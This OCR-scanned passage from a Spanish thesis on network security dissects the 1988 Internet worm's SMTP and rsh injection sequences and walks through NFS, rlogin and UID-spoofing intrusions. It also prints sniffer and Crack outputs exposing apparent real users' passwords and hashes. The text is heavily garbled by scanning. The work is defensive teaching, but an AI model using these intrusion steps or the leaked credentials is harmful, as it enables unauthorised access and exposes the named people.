El programa toma un argumento opcional, -p el cual debe ser seguido por un numero decimal que es el identificador del proceso del padre. El programa borra en disco: /tmp/.dumb; borra parte de la~ huella~ que ha dejado. Borra tambien el texto del arreglo de argumentos, para obscurecer su: "¿Como inicio?". El proceso hijo se desliga del padre cambiando el grupo al que penenece el proceso. Usará el numero para darle muene al proceso padre ("Kili"). "Close the door behind it".

Llama la rutina "n_init", que viene descrita adelante. Busca en la tabla de ruteo. Obtiene "gateways" con "telnet" activo. Utiliza una bandera: succesful:= rhs, finger & SMTP, para tener la relación de intentos exitosos.

Ejecuta el comando "netstat" : machine_x % netstat -r -n as a subprocess, que muestra la tabla de ruteo: lista de direcciones por numero (address listed numerically) Revisa entrada~ redundantes Colecciona la lista de "gateways".

Realiza iteraciónes con todas la~ direcciones para la máquina local machine llamando la rutina "hn" successful:=result(hn).

Obtiene una lista de hosts internos intenta ataques en cada host via rsh, finger & SMTP.

Pa~a a través del "gateway" y se conécta al pueno 23 de TCP (telnet pon). Realiza un ordenamiento aleatorio de los "gateways" y llama a la rutina "hn".

32

Page 32: Estrategias para incrementar la seguridad de una red

Capítulo 11

hn: Toma un número de red como argumento. Para redes de tipo A, utiliza la convención de ARPANET, p.e. net.[l-8].0.[1-255). Para otra cla~e de redes, intenta adivinar numeros de hosts, de I a 255. Para atacar utiliza: rsh, finger & SMTP.

doit routine: Se encuentra esperando todo el tiempo:

initialization: Actualiza la variable VarX=Hora del sistema. lanza la~ rutinas "h": ( figura 16)

~~e [ Figura 16]

Verifica que no haya otra copia del programa, corriendo.

• Cracking routines: Este sería el punto central para sumar nueva~ estrategia~ de ataque. Si este "virus" pudiese ser extendido ya que se pudierón haber implementado más estrategia~ y no sólo 1,2, 3 o 4. Aqui el programa puede crecer a "n" estrategia~.

cracksome:

Fase O:

Cracksome = Escoge_Estrategia [ 1,2,3,4]. Determina la estrategia a utilizar.

Obtiene los "/etc/hosts.equiv", para determinar la máquina en la~ que confía éste host. Obtiene los "/.rhosts". Obtiene los "/etc/pa~swd" para encontrar archivos personales ".forward" para ver que otra~ máquina~

puede atacar.

Fase 1:

Fase 2:

Fase 3:

Almacena nombre del usuario, pa~sword encriptado y GECOS, obtenidos de "/etc/pa~swd". avanza a la Fa~e 1

La fa~e de crackeo ataca pa~swords en la máquina local. Escoge varios" pa~swords" comunes para cada usuario. Encripta el pa~sword y lo compara con el password encriptado obtenido de"/etc/pa~swd" en FASE O. Intentos realizados a los pa~swords:

Cuenta~ sin password. Pa~swords iguales al nombre del usuario (login name) El campo "GECOS", tiene información del usuario y algunos son usados como pa~swords El último nombre de "GECOS", con la Primer letra convenida en mayúscula. El último nombre en forma invertida.

Todos éstos ataques son aplicados a 50 pa~swords a la vez, pa%words que han sido colectados en Fa~e 1. Una vez que se intentó adivinar el password para toda~ la~ cuenta~. avanza a Fase 2.

Toma la lista de palabras interna que ha distribuido el gusano. Decodifica una palabra a la vez. Intenta "crackear" contra passwords obtenidos en "/etc/pa~swd" Utiliza la variable netxw para prevenir a la variable "plea~equit" que hará que el programa salga hasta que hayan sido checada~ contra toda~ la~ encripciones de la lista coleccionada ("/etc/pa~swd"). Avanza a la FASE 3.

Utiliza el archivo local "/usr/dict/words" para intentar contra los passwords encriptados. Si la palabra comienza con mayúscula, la letra la convierte en minúscula e intenta de nuevo.

• Install Routines resynch:

waithit:

Envia comandos a un shell remoto para indicar cuando varios subprograma~ del procedimiento de infección han sido completados o ejecutados y un prompt de Boume Shell está disponible nuevamente.

Espera cerca de 2 minutos por un reconocimiento de conexión por parte de la victima. Intenta leer el numero mágico que se envió previamente a la victima como un parametro en el programa 11.c. Si la conexión es establecida el programa resincroniza. Envía el nuevo "path" a la victima. Borra el "sh" en el directorio /usr/tmp. Borra su huella.

33

Page 33: Estrategias para incrementar la seguridad de una red

Busca los programa~ terminados en .o Liga y corre dichos programas Resincroniza, si ésto falla a~ume que se hizo con éxito. Borra los programa~ compilados. El programa queda corriendo.

• Host modules name to host: da una lista de la~ máquina~ encontrada~ con un host dado.

address to host : da una lista de la~ máquina~ encontrados con una dirección dada.

• Other initialization routines if init:

rt init:

busca un arreglo de interfaces de red. Asegura que la interfaz esta levantada y corriendo.

Esta rutina corre "net~tat -r -n" como un subproceso. Muestra la tabla de ruteo con sus direcciones.

2.5.2. Estructura del ataque.

La figura 2.1 muestra la estructura de ataque que siguió el programa:

Obvious Gucsscs

lnlcrn;al WorJs

/11srldic1fwor<ls

1 The structurc of the attacking engine 1

(wail íor infcctc1I dicnt to rcspond)

[ Figura 2.1] - Estructura del Worm de lnternet, Nov. 1988 (Ref[26]).

Capítulo 11

El programa buscaba las máquina que tuvieran "viva" la interfaz y obtenía el nombre del host y lo almacenaba, también intentaba con la rutina "rt_init" ejecutando un "netstat" para determinar la tabla de ruteo y obtener más victimas, una vez que recolectaba una serie de víctimas intentaba colarse por los huecos de finger, SMTP, rsh y rexec para inyectar el cuerpo del programa (11.c) para compilarlo y ejecutarlo.

Otros intentos se hacía de igual forma basandose en la información obtenida de .rhosts, /etc/host.equiv y /etc/passwd, dicha información era usada para obtener más victimas, obtener información de usuarios y tratar de adivinar sus password para lograr el acceso.

Si el password era adivinado o se podía lograr el acceso por algún hueco con los cuales se había intentado previamente, entonces dejaba corriendo una rutina servidor para esperar que el programa cliente, que era la parte peligrosa, respondiera a la petición o al aviso del servidor para que pudiera entrar, es decir, el primer programa abria la puerta y la dejaba así hasta que el segundo programa (cliente) ingresaba al sistema.

34

Page 34: Estrategias para incrementar la seguridad de una red

Capítulo II

2.5.2.1. ¿Cómo funciona el hueco de SMTP?

El mensaje:

debug mail from: <ldev/null> rcpt to: < 1 sed -e' 1 ,fA$/'d 1 /bin/sh ; exit O" > data cd /usr/tmp cat > x14481910.c << 'EOF'

/* Activa el debug /* De nadie /* Para: un editor "sed", abrir un shell /* A continuación vienen datos /* Cambia al directorio /usr/tmp /* Pon un fin al archivo "x 1448191 O.e"

*! */ */ */ */ *!

[ Texto del programa 11.c ] /* Este es el texto del programa gusano */ EOF /* Fin de archivo */ ce -o x 14481910 x 14481910.c; x 14481910 128.32.134.16 32341 871244 ; nn -f x 14481910 x14481910.c

quit

2.5.2.2. ¿ Cómo funciona el hueco de TCP ?

PA TH=/bin:/usr/bin:/usr/ucb cd /usr/tmp echo gorch49; sed '/int zilq' > xl4481910.c; echo gorch50

[text of vector program] int zz;

/* compila, ejecuta y borra el programa, tennina */ /* Salida de la sesión */

/* Determina el path del shell t• Cambio de directorio

*/ */

/* mensaje gorch previo a la acción, envio al editor y anuncio /* con gorch50 */ t• el texto del programa vector */

ce -o x 14481910 x 14481910.c;./ x 14481910 128.32.134.16 32341 871244; rm -f x 14481910 x 14481910.c; echo DONE /* compilo, ejecuto y borro el programa, DONE!! */ /* DONE es la señal de que el programa vector está corriendo.

Como pudimos analizar, el programa resultó ser un dolor de cabeza para muchos, este programa dió muestra de que la seguridad no se debería enfocar a una red sino debería alcanzar todos los hosts conectados a ésta. Este incidente nos lleva a reflexionar acerca de la naturaleza propia de la red, vemos ahora como efectivamente la Internet es más que un conjunto de equipo heterogeneo conectado entre sí, la gente que participa diariamente es quien hace posible toda actividad notada en los cables, es quien hace que la red viva y se vea como un universo cambiante y que en un momento dado puede afectar a todos. Es preciso hacer labor de cultura en la gente, debemos inculcar una cultura tecnológica positiva de modo que genere cambios positivos en la red. Si nos ponemos a pensar un minuto, imaginemos cuantos nuevos proyectos de investigación importantes se están llevando a cabo ahora en la red, ¿que pasaría si este servicio se interrumpiera? o más aún que toda la infonnación de un proyecto que ha sido el trabajo de todo un año se perdiera a causa de un estudiante que por hacer una broma echó todo a perder, analicemos esta situación y decidamos si realmente nos conviene tirar la red y perder lo que ésta ofrece, sólo porque quiero demostrar mis conocimientos.

2.6. ¿ Porqué es importante este suceso?.

La importancia de este suceso viene asociada con el daño que causó y el daño que pudo haber causado, afortunadamente las consecuencias pagadas por este suceso no son muy altas. La importancia de este hecho obliga a las administradores de redes, a tener más herramientas de monitoreo que le pennitan tener una visión amplia del sistema que está a su responsabilidad y tener parámetros para sugerir a los administradores de las redes vecinas.

Este hecho vino a detenninar una nueva filosofía, la cual debe plantear nuevos planes y métodos de conexión. Cada host representa una posible entrada a nuestra red privada, de modo que los administradores de hoy no deberán confiar en todas las redes de Internet y deberán implantar restricciones de acceso para minimizar el riesgo de tener una filtración no deseada.

35

Page 35: Estrategias para incrementar la seguridad de una red

Capítulo II

2.6.1. Las redes antes y después del suceso.

En respuesta a éste y los múltiples sucesos que siguieron apareciendo se formaron varios grupos de personas para solucionar los problemas relacionados con seguridad computacional. Éstos equipos reunen información acerca de posibles huecos de seguridad y dan ayuda para recuperación en caso de que se haya presentado un ataque, la información de distribuye vía correo electronico usando las listas de distribución o llamando al número telefónico con que cuentan. Muchos equipos de seguridad son miembros del Sistema CERT (Computer Emergency Response Team), el cual es coordinado por el National Institute of Standards and Tecnology (NIST), y existe la facilidad de intercambiar información entre varios equipos.

2.6.1.1 DARPA Computer Emergency Response Team.

El Centro de Coordinación del Equipo de Respuesta a Emergencias Computacionales (Computer Emergency Response Team / Coordination Center), fue establecido en Diciembre de 1988 por la Defense Advanced Research Projects Agency (DARPA) para canalizar las investigaciones de usuarios relacionadas a seguridad computacional en Internet. Está operada por el Instituto de Ingeniería de Software (Software Engineering lnstitute SEi) y la Universidad de Carnegie Mellon (CMU). El CERT puede comunicar inmediatamente con expertos para diagnosticar y solucionar problemas de seguridad y también establece y mantiene comunicación con usuarios afectados, ayudando a identificar y reparar vulnerabilidades de seguridad. Para inscribir a la lista de distribución del CERT envíe un mensaje a: [email protected] y haga la petición de inscripción.

2.6.1.2 DDN Security Coordination Center.

Para los usuarios, el DNN Security Coordination Center (SCC) realiza una función similar a la del CERT. Éste equipo también envía boletines informativos relacionados con problemas de seguridad. Informa de huecos que pueden ser reparados y anuncia la dirección en la cual pueden ser obtenidos en forma gratuita. El SCC provee asistencia inmediata vía telefónica o correo electrónico en la dirección: [email protected].

2.6.1.3 NIST Computer Security Resource and Response Center.

El NIST tiene responsabilidad dentro del Gobierno Federal de Estados Unidos para actividades de Ciencia y Tecnología. Este grupo provee publicaciones en línea e información relacionada con seguridad computacional vía ftp en : CSRC.NCSL.NIST.GOV (129.6.48.87), también tiene en disponibilidad un "BBS" (Bulletin Board System) que contiene información del mismo tipo.

Muchos equipos de seguridad han surgido después de 1988, ésto para bien de todos los usuarios de internet, al parecer hemos aprendido la lección, es por ésto que yo considero y menciono una vez más que el Gusano de Internet trajo consigo más lecciones positivas que negativas.

Otros equipos de seguridad no menos importantes que exiten son: DOE Computer Incident Advisory Capability (CIAC)

NASA Ames Computer Network Security Response Team DON Management Bulletin

36

Page 36: Estrategias para incrementar la seguridad de una red

Capítulo III

Capítulo 111.

Algunos Ataques.

Este capítulo muestra algunos métodos que han sido y pueden ser utilizados por vándalos o "crackers", para tener acceso a sistemas remotos. Los mecanismos utilizados por los "crackers" son cada día más avanzados y variados, por ésta razón no se mencionarán todas aquellas formas que han podido ser utilizadas, es innegable que existen muchos métodos más, pero lo que se pretende dar a conocer al lector con éste capítulo es la vulnerablidad de los sistemas y no facilitar un manual del "cracker", que en un momento dado pudiera resultar contraproducente.

3.1 .. rhosts y /etc/host.equiv.

Las características de seguridad proveídas por 4.3 BSD fueron diseñadas para operar en sistemas abiertos donde algunos hosts eran considerados confiables. Los hosts son identificados por su dirección internet y será ésta la que se tome en cuenta para configurar en los servidores a los hosts confiables.

El archivo /etc/host.equiv o .rhosts son usados como parte del proceso de autentificación. Este par de archivos tienen formato ASCII y listan los nombres de los hosts cliente que tienen permiso para hacer peticiones a los servicios del host remoto servidor.

El formato es el siguiente: Nombre de la máquina cliente ó Nombre de la máquina cliente Nombre de usuario cliente

La primera columna especifica el nombre del (los) Host (s) en los que se confía y la segunda, especifica la confianza sobre alguna cuenta en particular. Ambos archivos /etc/host.equiv y .rhosts son revisados de principio a fin.

Existen tres lugares diferentes para éste tipo de archivos, cada uno para un propósito diferente:

1.- El archivo /etc/host.equiv permite al administrador del sistema definir el acceso a hosts específicos. Ésto permite, por ejemplo, utilizar el comando "rcp" para copiar archivos entre esos sistemas remotos o usar rlogin desde alguno de éstos.

2.- El archivo /.rhosts, sin embargo, permite al administrador de la red listar a aquellos hosts que son considerados confiables. Esto es porque cualquier usuario remoto que tenga una cuenta de super usuario, puede llegar a obtener privilegios de super usuario en éste host local.

3.- El propósito de .rhosts en el "directorio hogar" del usuario ("home directory"), es para permitir al mismo, especificar hosts adicionales que quizá no aparezcan en el archivo "/etc/host.equiv", para poder tener acceso remoto al host actual desde aquel host adicional. Si aquel host remoto adicional es considerado no confiable, debe asegurarse que ningún usuario que aparezca con el mismo nombre de usuario en aquel sistema pueda conectarse a su cuenta en el host actual, ya que pondría en peligro tanto su cuenta como las demás en el sistema.

37

Page 37: Estrategias para incrementar la seguridad de una red

Capítulo III

3.2. No File Security (NFS).

El sistema de archivos distribuido que proporciona acceso transparente a discos remotos, administración centralizada de discos y la facilidad de compartir sistemas de archivos y directorios en la red se conoce como "Network File System" (NFS).

Construído sobre un protocolo llamado RPC (Remate Procedure Call), NFS impone una relación cliente­servidor en el host que lo utiliza; donde el servidor NFS es un host que es dueño de uno o más sistemas de archivos y los hace disponibles en la red; el Cliente NFS será el host que "monte" los sistemas de archivos que el servidor NFS esta exportando o poniendo disponibles a dichos clientes. El término "montar" es un tecnisimo utilizado por los administradores de red para decir que una máquina esta importando todo un sistema de archivos que ha sido puesto en disponiblidad por un host servidor particular. Existe el comando "mount" que valida el uso del término "montar", dicho comando permite ver otro disco en la red, como parte de la estructura de directorios en la máquina local que realiza el montaje.

Desde el punto de vista de seguridad, NFS deberá ser configurado en forma minuciosa y definirse los hosts confiables, establecerse en forma explícita los clientes a los que habrán de exportarse directorios y es necesario definir los permisos a dichos directorios. Los principales problemas de seguridad radican en las configuraciones de los sistemas, un sistema es inseguro si ha sido mal configurado.

Debido a que los puntos de montaje a archivos son otorgados por el administrador, éste podría cometer el error de exportar a todo el mundo el sistema de archivos perteneciente a usuarios y dejar que cualquier host tenga la posibilidad de hacer un montaje a la cuenta de cualquiera de los usuarios que recibo después del montaje.

Para que dicho ataque pueda ser realizado, es necesario contar con una cuenta de super usuario ("root"), corriendo Unix en un host conectado, ésto en un momento dado puede resultar díficil, pero recuerde que si usted cuenta con una PC, instale Linux como sistema operativo y ya superó este requerimiento.

Mostremos el ejemplo de un ataque de éste tipo.

Ejemplo l. Observaciones: La máquina que realiza el ataque se llama "canada", y tiene el usuario "root". La máquina que es atacada se llama "bolivia".

Paso O. Ejecutar el comando finger dirigido al host "bolivia" con el fin de obtener información relevante por parte de ésta.

Lo que resulta es lo siguiente:

Login Home-dir -------------

root / bin /bin nobody / daemon / sync / guest /export/guest ftp /home/ftp

Shell Last login, from where

/bin/sh Fri Nov 5 07:42 on ttypl form nemesis.cem.itesm.mx Never logged in Tue Jan 15 08:57 on ttyp2 from sunlab.cem.itesm.mx Tue Mar 23 12: 14 on ttypO form sunlab.cem.itesm.mx

/bin/sync Tue Mar 23 12: 14 on ttypO from sunlab.cem.itesm.mx /bin/sh Never logged in

Never logged in

38

Page 38: Estrategias para incrementar la seguridad de una red

Capítulo III

Paso l. Ejecutar el comando "showmount" para ver cual es la lista de directorios que son exportados por bolivia.

canada# showmount-e bolivia

bolivia muestra la siguiente información:

export list for bolivia: /export /var /usr /export/exec/kvm/sun4c.sunos.4. l .3 /export/root/easy /export/swap/easy

(everyone) (everyone) easy easy easy

easy

Observe que el directorio "/export" ha sido exportado, valga la redundancia, a todo el mundo (every one), también note que el usuario "guest" tiene como propio el directorio "/export/home". En este caso usted podrá montar el directorio "/export" y hacerse dueño de la cuenta "guest" de la siguiente forma:

Paso 2. canada# pwd

/ canada# cd /tmp /tmp canada# mkdir guest canada# Is guest canada# mount bolivia:/export/guest /tmp/guest canada# pwd /tmp canada# cd /tmp/guest canada# Is .... Archivos de la cuenta remota "guest" ...

Verifico la ruta en que me encuentro

Me situo en el directorio "tmp"

Creo un directorio "guest"

Verifico la creación

Monto el file system /export/guest de bolivia en /tmp/guest

Me situo en el directorio "guest" creado con anterioridad.

Veo los archivos montados del host "bolivia" .

ca nada# echo guest:x: 10001: 1 :cuenta fantasma:/: >> /etc/passwd Creo la cuenta "guest" en mi máquina.

canada# su guest canada# echo bolivia >> guest/.rhosts canada# rlogin bolivia

Welcome to bolivia ................... !!!

<bolivia>

Me cambio a la cuenta guest.

Creo el archivo .rhost en la cuenta guest.

Ejecuto remole login a la máquina víctuma.

Y ya está 11

Una de las entradas más fáciles hacia otros sistemas remotos ha sido gracias a que ese sistema exporta archivos de usuarios sin restricciones.

39

Page 39: Estrategias para incrementar la seguridad de una red

Capítulo III

3.3. rlogin.

La facilidad para ingresar con "login" de una computadora a otra es una aplicación importante en aplicaciones de red, rlogin (remote login) es un comando para ejecución remota que provee el sistema Unix para conexión entre hosts remotos. La versión 4.3 del Unix de Berkeley (4.3 BSD) provee dos aplicaciones de login: rlogin, el cual asume que el servidor es otro sistema Unix y telnet, el cual se mencionó en el capítulo II de este trabajo.

El funcionamiento normal de rlogin es el siguiente: (fig 3.1, fuente Ref. [29])

Sistema Local:

!Ejecución normal de rlogin 1

Sislema Remolo (boliviil.cern .itesm .m x) (ea na d a. e e 111 • i tes n1 . rn x)

..

/etc/ h ost.eq u i v U s u arios Locales:

canada. c em .ite s m . ITI X '

r ic io p ez

s u n lab .cem . itesm .m x ... m ex ico .ce m . ite s m .m x ' ;

riclopez ejecuta: U su arios Locales:

ri c lo p ez. ri a gi n bofi vi a .ce rr: . iresm .m:c

ado l foa -- 7No jm íranco ha;., A lltentificación ...

[ Figura 3.1 ] - Ejecución normal de rlogin.

7

En este esquema observamos que el usuario riclopez, que se encuentra conectado al host "canada", ejecuta un rlogin dirigido a "bolivia". Debido a que "canada" es considerada por "bolivia" como un host confiable, y además tiene en su tabla de usuarios a riclopez, entonces el acceso al sistema remoto "bolivia", es directo, es decir "riclopez" no va a ser solicitado por "bolivia" a que ingrese su clave de acceso.

El funcionamiento es el siguiente: El programa cliente de rlogin que se encuentra en "canada" hace la petición al programa servidor de rlogin en "bolivia".

El programa cliente ("rlogin canada") envia el nombre del usuario ("riclopez") y máquina ("canada.cem.itesm.mx") al programa servidor ("rlogin bolivia"), el servidor obtiene ésta información, revisa el archivo host.equiv del sistema y la tabla de usuarios, para determinar el grado de confianza del usuario; en éste caso "bolivia" confía plenamente en "canada" y le da el acceso sin autentificar a "riclopez".

Como se ha visto, hasta ahora no se ha realizado ningún ataque, aunque así lo parezca. Ahora bien, durante la investigación se nos ocurrió ver si era factible realizar una imposición de persona, es decir, queríamos probar que un usuario llamado "secinter" se hiciera pasar por "riclopez" en el sistema remoto y tuviera acceso a los archivos de riclopez. Para poder hacer ésto utlizamos el código fuente del programa "rlogin cliente", dicho programa está disponible en Internet y es de dominio público, de modo que una vez analizado dicho programa se modifico la variable que corresponde a la identificación del usuario y se dejó a "riclopez" como constante.

Se recompiló el programa, y se ejecutó.

40

Page 40: Estrategias para incrementar la seguridad de una red

Estos son los resultados: (Figura 3.2).

I Ejecución de rlogin modificado 1

Sistema Local: (bolivia .c:em .itesm. mx)

/e tc/ho s t.e qu iv

ca n ad a .ce m .i tes m .m x s unl a b .ce m .ites m .m x m ex ico .ce m .ites m .m x

Us uari os L ocale s:

rich, pcz ad o lfoa jm fran co

Sistema Remoto (can ad a .cem. itesm .m x)

Us ua rios Loca les : li.illll.l.:L

sccintcr ej ec uta :

r l og in hulii·ia. ce m.itesm.mx -1 ricfope."'.

N h¡¡ a utenti ficac ió n

[ Figura 3.2 ] - Se engaña al sistema. remoto con el rlogin modificado.

Capítulo III

¡ ¡ Eureka! !, hemos engañado al sistema y efectivamente pudimos entrar a la cuenta de "riclopez" con la cuenta de "secinter" desde "canada". La salida de la consola es la siguiente:

canada<secinter>rlogin bolivia -l riclopez Secinter rlogin Marzo '95 Last login: Wed Mar 8 14:54:17 from slabcddi Sun Microsystems Inc. SunOS 5.3 You have new mail. bolivia<riclopez>ls ...... Archivos de riclopez .....

Hasta correo tenemos! ! ! . Hemos podido confirmar la vulnerabilidad de alguno de los programas utilizados para conectarnos en forma remota, así como éste existen otros programas del mismo tipo, que pueden ser burlados y utlizados por personas sin ética y poner en problemas un site.

3.4. Sniff ers.

Un programa sniffer puede ser utilizado desde dos puntos de vista diferentes:

Desde el Punto de vista del Administrador de red.

Es una Herramienta que aprovecha las características de las redes broadcast, ya que lee lo que viaja por el medio físico que conecta a la red, permitiendo el monitoreo de la misma.

Desde el punto de vista del "cracker".

Es un mecanismo que les permite espiar información de otras personas para así poder obtener login names, passwords y cualquier otra información de carácter confidencial.

41

Page 41: Estrategias para incrementar la seguridad de una red

Capítulo III

Los sniffers explotan el llamado modo promiscuo de las interfaces ethernet para así tener acceso a todos los paquetes que viajan por el bus. Esniff.c es un programa de dominio público creado para ser utilizado por los hackers, mientras que ethe,find es un sniffer distribuído por SunOS para ser utilizado en la administración de redes (Ref. [40]).

Ethernet es el protocolo más utilizado para enlazar computadoras en redes locales, además que soporta diferentes plataformas como Unix, DOS, OS/2, etc. Las computadoras que comparten este protocolo se conectan mediante un bus común a todas, por lo que también se les conoce a estas como redes broadcast; cuando una máquina quiere conectarse a otra, envía un mensaje que las demás computadoras conectadas también escuchan, pero sólo será atendido por aquella a la que va dirigido. Sin embargo es posible que una tarjeta sea programada para recibir paquetes sin importar a quien estén dirigidos, cuando ésto ocurre, se dice que la interfaz está en modo promiscuo.

A continuación se muestra un fragmento de la salida que envía una sesión con "Esnif.c".

PKT: (----A- 0000) 148.241.61.18[1225] => 148.241.61.3[telnet] PKT: (----A- 0000) 148.241.61.18[1225] => 148.241.61.3[telnet] PKT: (----A- 0000) 148.241.61.18[1225] => 148.241.61.3[telnet] -- TCP/IP LOG -- TM: Sat Aug 26 16:47:35 --PA TH: nicaragua( 1330) => mexico(telnet) STAT: Sat Aug 26 16:47:47, 37 pkts, 43 bytes [SIGNAL] DATA: (255)(253)"C(255)(251 )"X(255)(250)"X

: SUN-CMD(255)(240)(255)(253)"A(255)(252)"A : maunc10 : remmer

Con ésta información podemos ver a simple vista que el usuario "mauricio" ha realizado una peticion de telnet de la máquina nicaragua a mexico, el día Sábado 26 de Agosto a las 16:47 horas, y su password es : remmer. Este es otro de los métodos utilizados por los crackers para conseguir cuentas de administradores de red y de usuarios.

El modo promiscuo de las interfaces ethernet perminte a los hackers monitorear todas las tramas que viajan por el bus. La información que más atrae a los hackers es la intercepción de tramas de login, ya que estas llevan el nombre del usuario y el password en texto claro encapsulados en las tramas de ethernet.

Un sniffer en la mayoría de los casos, no puede ser detectado en forma remota, por lo cual se recomienda la implantación de políticas de acceso al site y a cada uno de los hosts de la red.

El comando "ifconfig" con el parámetro "-a", que puede funcionar en algunas implementaciones de Unix, nos va a permitir detectar si una tarjeta está en modo promiscuo. Adicionalmente existe un programa de dominio público llamado cpm que permite checar las interfaces del sistema en busca del modo promiscuo en máquinas corriendo SunOS.

Otra forma de combatir los sniffers es enviar los mensajes cifrados por la red, de ésta forma los sniffers verán una trama desconocida y no la tomarán en cuenta.

3.5. U ser "id" único.

El problema de tener un número de usuario único ha sido ampliamente aprovechado por gente deshonesta que gracias a sus conocimientos de Unix, realiza actos de vandalismo y carentes de ética poniendo en riesgo la confiabilidad, la integridad y en un momento dado la disponibilidad de la información.

42

Page 42: Estrategias para incrementar la seguridad de una red

Capítulo III

Esto al parecer no incomoda, ni mucho menos alerta e incluso ni interesa a quienes han tenido poco contacto con éste tipo de sistemas, pero veamos ahora el siguiente ejemplo:

Entremos en el suspuesto que soy uno de 200 usuarios dentro de una organizac1on en la cual existen máquinas PC's y estaciones de trabajo Unix, las estaciones de trabajo tienen la función de almacenar el correo electrónico de cada uno de los 200 usuarios.

La máquina que tengo asignada es una PC con linux, y claro yo tengo el password de "root".

La PC, que tengo asignada es la que voy a utilizar para atacar cualquier cuenta del servidor Unix.

Hagamos la siguiente observación: La máquina que realiza el ataque se llama "canada" (PC), y tiene el usuario "root". La máquina que es atacada se llama "bolivia" (servidor de correo Unix).

Paso O.

canada# cat /etc/passwd > -/my_user_table canada# Is my _user_table canada# cat my_user_table I grep Director> account_to_attack canada#cat account_to_attack lcolin:HtaGkRd3cJ172:9020:40:Luis Enrique Colin Director:/home/bolivia/dir/lcolin:/bin/ksh

Hasta este punto hemos podido obtener el numero de usuario del Director de la Compañía, en este caso se llama Luis Enrique Colín, y su nombre de usuario es "lcolin", su password, obviamente viene encriptado.

Usaremos el identificador del usuario ("user id") para entrar a su cuenta.

canada#echo fantasma: :9020:1:Cuenta Fantasma:/tmp: >> /etc/passwd

Con ésto acabo de crear la cuenta fantasma que hará que pueda accesar el sistema, nótese que usé el mismo identificador de usuario, ésta es la clave para poder tener acceso.

canada#su fantasma canada#pwd /tmp canada#whoami fantasma canada#rlogin bolivia Welcome to bolivia ... You have new mail. <lcolin>

En este "truco" en el cual se engaña al propio sistema existen varios errores tanto de configuración como de incumplimiento de políticas de seguridad que deberían existir, existe más adelante todo un capítulo enfocado a la asignación de políticas de seguridad en un site.

Primero: El servidor Unix llamado "bolivia" tiene un archivo "/etc/hosts.equiv" con un"+".

Segundo: El servidor Unix deberá negar el acceso a ciertos servicios (rlogin, por ejemplo) a aquellas máquinas que no se tenga plena confianza. ¡ ¡ Especialmente las PC's! ! y.

43

Page 43: Estrategias para incrementar la seguridad de una red

Capítulo III

Tercero: Se debe evitar que los usuarios tengan acceso a passwords de cuentas del tipo "root''.

Después de haber visto éste pequeño ejemplo, pensemos si algún usuario externo llega a apoderarse de ésta información y hacer uso indebido de ésta. ¿ Una idea? enviar correo a todos los subordinados informando un aumento del 100% del sueldo.

3.6. Password Cracker.

Un "password cracker" es un programa diseñado para encontrar passwords de ocho caracteres encriptados con DES (Data Encription Software, algoritmo de encriptamiento estándar utilizado por Unix ). Crack.e es un programa de dominio público que implementa DES, (ref.[51]).

El funcionamiento es el siguiente: El programa toma como entrada algún diccionario de palabras e incluso información directa de la tabla de usuarios que ha sido proporcionada como parámetro, algunos de éstos diccionarios vienen con la distribución misma del programa, realiza una lista ordenada de todas las palabras clave obtenidas y las almacena en un archivo.

El programa trabajará ahora realizando "pasadas" a la tabla de usuarios proporcionada, basándose en un conjunto de reglas. Las reglas están definidas en un lenguaje simple, y también están incluidas en la distribución gratis de éste software, dichas reglas pueden ser perfeccionadas o aumentadas por el usuario.

El programa permuta y carga diccionarios directamente a memoria y los ordena antes de realizar el intento de "adivinar" el password, si al momento de realizar la comparación el programa adivinó el password, en ese momento marca al usuario como "done", y no pierde más tiempo intentando con éste.

Una vez que terminó de revisar toda la lista de usuarios, el programa almacena dentro de dos archivos los passwords que han sido adivinados (uno en formato de texto y el otro encriptado), con el propósito de dejar éstos archivos como entrada extra en la siguiente corrida, de modo que ésto permita facilitar el proceso, aplicable a aquellos passwords que aún no han sido cambiados .

• Un ejemplo de una corrida del password cracker desde la máquina "machine I" usando como parámetro la Labia de usuarios:

machi ne 1 /home/riclopez/cracker $ Crack /etc/passwd Crack 4.1 f RELEASE, The Password Cracker (e) Alee D.E. Muffett, 1992 Invoked as: ./Crack passwd Dictionary Dicts/bigdict.Z Dicts/diccionario intact Binary directory: /home/riclopez/cracker/generic Target crack-pwc is up to date. Sorting data for Crack. Flags: -i /tmp/pw.9757 Dicts/bigdict.Z Dicts/diccionario Running program in background Output will be written to a file in directory /home/riclopez/cracker/results named 'out<something>'

44

Page 44: Estrategias para incrementar la seguridad de una red

Capítulo III

La salida que genera la deja en un archivo llamado out_process_number, bajo el directorio -/cracker/results

machi ne 1 /home/riclopez/cracker $ cat /cracker/results/out*

pwc: Nov 2 12:39:14 Guessed al446561 (/bin/ksh in passwd) [horacio] r1 MIY48o5eGV6 pwc: Nov 2 12:39:47 Guessed al449272 (/bin/ksh in passwd) [hemandez] Qk7Nw.oS7HSXs pwc: Nov 2 12:39:48 Guessed cht (/bin/ksh in passwd) [cht] Qjfs1MIQ3obZo pwc: Nov 2 12:40:47 Guessed spantoja (/bin/ksh in passwd) [spantoja) qg7RX7oWfJ4FU pwc: Nov 2 12:41 :33 Guessed al444258 (/bin/ksh in passwd) [alfredo) PLCHmt0s1 Oosk pwc: Nov 2 12:42:03 Guessed rigonzal (/bin/ksh in passwd) [RGONZALEZ] P/0lctjQBKOeY pwc: Nov 2 12:42:23 Guessed al449062 (/bin/ksh in passwd) [cesar] pqF22dCKxErRw pwc: Nov 2 12:42:43 Guessed hpadilla (/bin/ksh in passwd) [HUMBERTO) pdQKQUo38fkmo pwc: Nov 2 12:43:13 Guessed al444390 (/bin/ksh in passwd) [marisa1) OtokWwJg90x6Q pwc: Nov 2 12:43:40 Guessed aI447481 (/bin/ksh in passwd) [bautista] OD4Jg6WqWc/z2 pwc: Nov 2 12:44:40 Guessed al450586 (/bin/ksh in passwd) [americafernandez] o7x3OvkjU1c3U pwc: Nov 2 12:45:34 Guessed al448041 (/bin/ksh in passwd) [chyntia) NBUWWGc2CMNnc pwc: Nov 2 12:45:46 Guessed al310426 (/bin/ksh in passwd) [flores] nzmffbLHPYM/g

En ésta prueba obtuvimos cerca de 138 passwords adivinados. Al día siguiente se solicitó a todos los profesores de campus a cambiar su password. Nótese el tipo de passwords utilizados por la mayoría: flores, hernandez, alfredo, cht, HUMBERTO, etc ...

3.6.1. Passwords seguros.

Después de los catastróficos resultados obtenidos con la prueba anterior, no resistí la necesidad de mencionar alguna reglas de cómo diseñar un password seguro.

A continuación se mencionan los¿ Qué hacer? y ¿Qué no hacer? (do y don't).

Que no hacer? (Don't):

1.- No usar de ninguna forma el login name,de forma inversa, mayúsculas, intercalado, etc ...

